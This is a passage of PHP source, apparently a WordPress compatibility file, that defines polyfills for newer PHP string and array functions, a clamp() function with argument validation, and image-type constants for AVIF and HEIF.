the `$haystack`. * @return bool True if `$needle` is in `$haystack`, otherwise false. */ function str_contains( $haystack, $needle ) { if ( '' === $needle ) { return true; } return false !== strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_starts_with' ) ) { /** * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. */ function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { /** * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. */ function str_ends_with( $haystack, $needle ) { if ( '' === $haystack ) { return '' === $needle; } $len = strlen( $needle ); return substr( $haystack, -$len, $len ) === $needle; } } if ( ! function_exists( 'array_find' ) ) { /** * Polyfill for `array_find()` function added in PHP 8.4. * * Searches an array for the first element that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return mixed|null The first element in the array that passes the `$callback`, otherwise null. */ function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $value; } } return null; } } if ( ! function_exists( 'array_find_key' ) ) { /** * Polyfill for `array_find_key()` function added in PHP 8.4. * * Searches an array for the first key that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return int|string|null The first key in the array that passes the `$callback`, otherwise null. */ function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $key; } } return null; } } if ( ! function_exists( 'array_any' ) ) { /** * Polyfill for `array_any()` function added in PHP 8.4. * * Checks if any element of an array passes a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if any element in the array passes the `$callback`, otherwise false. */ function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return true; } } return false; } } if ( ! function_exists( 'array_all' ) ) { /** * Polyfill for `array_all()` function added in PHP 8.4. * * Checks if all elements of an array pass a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if all elements in the array pass the `$callback`, otherwise false. */ function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( ! $callback( $value, $key ) ) { return false; } } return true; } } if ( ! function_exists( 'array_first' ) ) { /** * Polyfill for `array_first()` function added in PHP 8.5. * * Returns the first element of an array. * * @since 6.9.0 * * @param array $array The array to get the first element from. * @return mixed|null The first element of the array, or null if the array is empty. */ function array_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } foreach ( $array as $value ) { return $value; } } } if ( ! function_exists( 'array_last' ) ) { /** * Polyfill for `array_last()` function added in PHP 8.5. * * Returns the last element of an array. * * @since 6.9.0 * * @param array $array The array to get the last element from. * @return mixed|null The last element of the array, or null if the array is empty. */ function array_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } return $array[ array_key_last( $array ) ]; } } if ( ! function_exists( 'clamp' ) ) { /** * Polyfill for `clamp()` function added in PHP 8.6. * * Clamps a value to be within the range of a given minimum and maximum. * * If the value is within the bounds, the original value is returned. * If it is not within the bounds, the closest bound is returned. * * @since 7.1.0 * * @param mixed $value The value to clamp. * @param mixed $min The minimum bound. Must be less than or equal to `$max`. * @param mixed $max The maximum bound. Must be greater than or equal to `$min`. * @return mixed The clamped value. Either `$value`, `$min`, or `$max`. * * @throws ValueError If `$min` is greater than `$max`, or if `$min` or `$max` is NAN, and the ValueError class exists (PHP 8.0+ or polyfilled). * @throws InvalidArgumentException If `$min` is greater than `$max`, or if `$min` or `$max` is NAN, and the ValueError class does not exist (PHP 7.x). * * @phpstan-template TValue * @phpstan-template TMin * @phpstan-template TMax * @phpstan-param TValue $value * @phpstan-param TMin $min * @phpstan-param TMax $max * @phpstan-return TValue|TMin|TMax */ function clamp( $value, $min, $max ) { $throw_value_error = static function ( string $message ) { // The ValueError class was introduced in PHP 8, so in 7.4 throw InvalidArgumentException instead. if ( ! class_exists( 'ValueError', false ) ) { throw new InvalidArgumentException( $message ); } throw new ValueError( $message ); }; if ( is_float( $min ) && is_nan( $min ) ) { $throw_value_error( 'clamp(): Argument #2 ($min) must not be NAN' ); } if ( is_float( $max ) && is_nan( $max ) ) { $throw_value_error( 'clamp(): Argument #3 ($max) must not be NAN' ); } if ( $max < $min ) { $throw_value_error( 'clamp(): Argument #2 ($min) must be smaller than or equal to argument #3 ($max)' ); } /* * The upper bound is checked before the lower bound to match the order in PHP's * implementation. Comparison in PHP is not transitive when operands of different * types are mixed (for example, comparing against a bool coerces both operands to * bool), so both bounds can compare as exceeded at once, and the first check wins. */ if ( $value > $max ) { return $max; } if ( $value < $min ) { return $min; } return $value; } } // IMAGETYPE_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMAGETYPE_AVIF' ) ) { define( 'IMAGETYPE_AVIF', 19 ); } // IMG_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMG_AVIF' ) ) { define( 'IMG_AVIF', IMAGETYPE_AVIF ); } // IMAGETYPE_HEIF constant is only defined in PHP 8.5 or later. if ( ! defined( 'IMAGETYPE_HEIF' ) ) { define( 'IMAGETYPE_HEIF', 20 ); }